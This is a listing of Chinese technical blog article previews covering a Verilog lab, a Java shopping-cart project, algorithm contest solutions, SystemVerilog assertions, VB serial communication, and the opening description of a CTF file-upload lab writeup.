写在前面: 一、实验目的 1.了解简易模型机的内部结构和工作原理。 2.分析模型机的功能,设计 8 重 3-1 多路复用器。 3.分析模型机的功能,设计 8 重 2-1 多路复用器。 4.分析模型机的工作原理,设计模型机控制信号产生逻辑。 二、实验内容 1.用 VERILOG 语言设计模型机的 8 重 3-1 多路复用器; 2.用 VERILOG 语言设计模型机的 8 重 2-1 多

项目实战系列三: 家居购项目 第四部分

购物车 🌳购物车🍆显示购物车🍆更改商品数量🍆清空购物车&&删除商品 🌳生成订单 🌳购物车 需求分析 1.会员登陆后, 可以添加家居到购物车 2.完成购物车的设计和实现 3.每添加一个家居,购物车的数量+1, 并显示 程序框架图 1.新建src/com/zzw/furns/entity/CartItem.java, CartItem-家居项模型 /***

码蹄集部分题目(2024OJ赛9.4-9.8;线段树+树状数组)

1🐋🐋配对最小值(王者;树状数组) 时间限制:1秒 占用内存:64M 🐟题目思路 MT3065 配对最小值_哔哩哔哩_bilibili 🐟代码 #include<bits/stdc++.h> using namespace std;const int N=1e5+7;int a[N],b[N],c[N],n,q;struct QUERY{int l,r,id;}que

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

关于断言的部分用法

1、带变量的断言  systemVerilog assertion 中variable delay的使用,##[variable],带变量的延时(可变延时)_assertion中的延时-CSDN博客 2、until 的使用 systemVerilog assertion 中until的使用_verilog until-CSDN博客 3、throughout的使用   常用于断言和假设中的

牛客小白月赛100部分题解

比赛地址:牛客小白月赛100_ACM/NOI/CSP/CCPC/ICPC算法编程高难度练习赛_牛客竞赛OJ A.ACM中的A题 #include<bits/stdc++.h>using namespace std;#define ll long long#define ull = unsigned long longvoid solve() {ll a,b,c;cin>>a>>b>

VB和51单片机串口通信讲解(只针对VB部分)

标记:该篇文章全部搬自如下网址:http://www.crystalradio.cn/thread-321839-1-1.html,谢谢啦            里面关于中文接收的部分,大家可以好好学习下,题主也在研究中................... Commport;设置或返回串口号。 SettingS:以字符串的形式设置或返回串口通信参数。 Portopen:设置或返回串口